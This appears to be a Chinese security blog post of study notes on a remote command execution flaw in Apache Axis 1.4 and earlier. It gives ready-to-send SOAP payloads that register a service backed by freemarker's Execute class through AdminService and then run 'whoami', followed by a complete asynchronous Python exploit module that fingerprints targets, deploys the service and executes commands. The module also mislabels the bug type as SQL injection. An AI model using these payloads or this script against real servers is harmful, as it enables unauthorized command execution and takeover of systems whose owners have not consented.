Java Axis <=1.4 RCE

前言:实战中还是有碰到的,所以这篇就作为这个漏洞的学习笔记。

参考文章:https://paper.seebug.org/1489/
参考文章:https://www.cnblogs.com/depycode/p/14844984.html

漏洞利用

下面两个操作需要注意的就是需要设置下header头的一个字段SOAPAction: "",要不然回显内容会跟下面不太一样

注册服务

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <deployment
            xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
            <service name="myRce" provider="java:RPC">
                <parameter name="className" value="freemarker.template.utility.Execute"/>
                <parameter name="allowedMethods" value="*"/>
            </service>
        </deployment>
    </soapenv:Body>
</soapenv:Envelope>

命令执行

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">whoami</multiRef></multiRef></soapenv:Body></soapenv:Envelope>

脚本编写

# coding=utf-8
# @Author   : zpchcbd HG team
# @Time     : 2021-09-10 14:14

import re

from colorama import Fore
from tqdm import tqdm

from exploit.web import BaseScript
from core.MyEnums import BugType, BugLevel
from core.MyAsyncHttp import *

'''
漏洞本质是管理员对AdminService的配置错误。
当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,
远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,就可以进行远程命令执行漏洞的利用。

SSRF
1、内网ARP欺骗,https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2019-0227/CVE-2019-0227.py
2、编辑器漏洞,ueditor的ssrf配合,https://forum.butian.net/share/136
'''


class Script(BaseScript):
    name = 'Axis2'

    def __init__(self, target, pbar, semaphore):
        super().__init__()
        # basic
        self.target = target
        self.bugLevel = BugLevel.HIGH
        self.bugType = BugType.SQLINJECTION
        self.bugNumber = 'CVE-2019-0227'
        self.refer = ''
        self.pbar = pbar
        self.semaphore = semaphore
        # main
        self.detectList = ['/axis2/services', '/services']
        self.payloadList = ['/axis2/services/AdminService', '/services/AdminService']
        self.execList = ['/services/freemarker?wsdl', '/axis2/services/freemarker?wsdl']

    async def detect(self):
        try:
            async with self.semaphore:
                async with aiohttp.ClientSession(headers=self.headers) as session:
                    for detectPath in self.detectList:
                        url = f'http://{self.target}{detectPath}' if self.target.startswith(
                            ('http:', 'https:')) is False else f'{self.target}{detectPath}'
                        text = await AsyncFetcher.fetch(session=session, url=url)
                        m = re.search(r'<a href="(.*?)\?wsdl">', text)
                        if m is not None and m.group(1):
                            self.flag = True
                            tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 Finger', url))
                            return {'name': 'Axis2 Finger', 'url': url, 'software': 'Axis2'}
        except Exception:
            return None

    async def exploit(self):
        try:
            async with self.semaphore:
                async with aiohttp.ClientSession() as session:
                    for payload in self.payloadList:
                        url = f'http://{self.target}{payload}' if self.target.startswith(
                            ('http:', 'https:')) is False else f'{self.target}{payload}'
                        headers = {'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""'}
                        data = '''<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
                            <soapenv:Body>
                            <deployment xmlns="http://xml.apache.org/axis/wsdd/"
                            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
                            <service name="wowtest" provider="java:RPC">
                            <parameter name="className" value="freemarker.template.utility.Execute"/>
                            <parameter name="allowedMethods" value="*"/>
                            </service>
                            </deployment>
                            </soapenv:Body></soapenv:Envelope>
                                '''
                        async with session.post(url=url, data=data, headers=headers) as res:
                            if res is not None and res.status:
                                text = await res.text()
                                await asyncio.sleep(2)
                                if 'Done processing' in text:
                                    tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 maybe Getshell', url))
                                    return {'name': 'Axis2 maybe Getshell', 'url': url, 'software': 'Axis2'}
        except Exception:
            return None

    async def exec(self):
        command = 'whoami'
        async with aiohttp.ClientSession() as session:
            for exec in self.execList:
                url = f'http://{self.target}{exec}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{exec}'
                headers = {'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""'}
                data = '''<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">''' + command + '''</multiRef></multiRef></soapenv:Body></soapenv:Envelope>'''
                async with session.post(url=url, data=data, headers=headers) as res:
                    if res is not None and res.status == 200:
                        text1 = await res.text()
                        await asyncio.sleep(2)
                        m = re.search('<execReturn.*>(.*)[\s]+<\/execReturn>', text1)
                        if m is not None and m.group(1):
                            tqdm.write(Fore.RED + '[{}] {}'.format('Axis2 Getshell', url))
                            return {'name': 'Axis2 Getshell', 'url': url, 'software': 'Axis2'}

    async def attack(self):
        a = await self.detect()
        if a is not None:
            self.vulList.append(a)
            if self.flag:
                b = await self.exploit()
                if b is not None:
                    self.vulList.append(b)
                c = await self.exec()
                if c is not None:
                    self.vulList.append(c)
        # self.pbar.update(1)
        return self.vulList


if __name__ == '__main__':
    sem = asyncio.Semaphore(500)
    sc = Script('127.0.0.1:8081', 1, sem)
    l = asyncio.get_event_loop()
    l.run_until_complete(sc.attack())

posted @ 2021-09-11 09:56  zpchcbd  阅读(914)  评论(0)    收藏  举报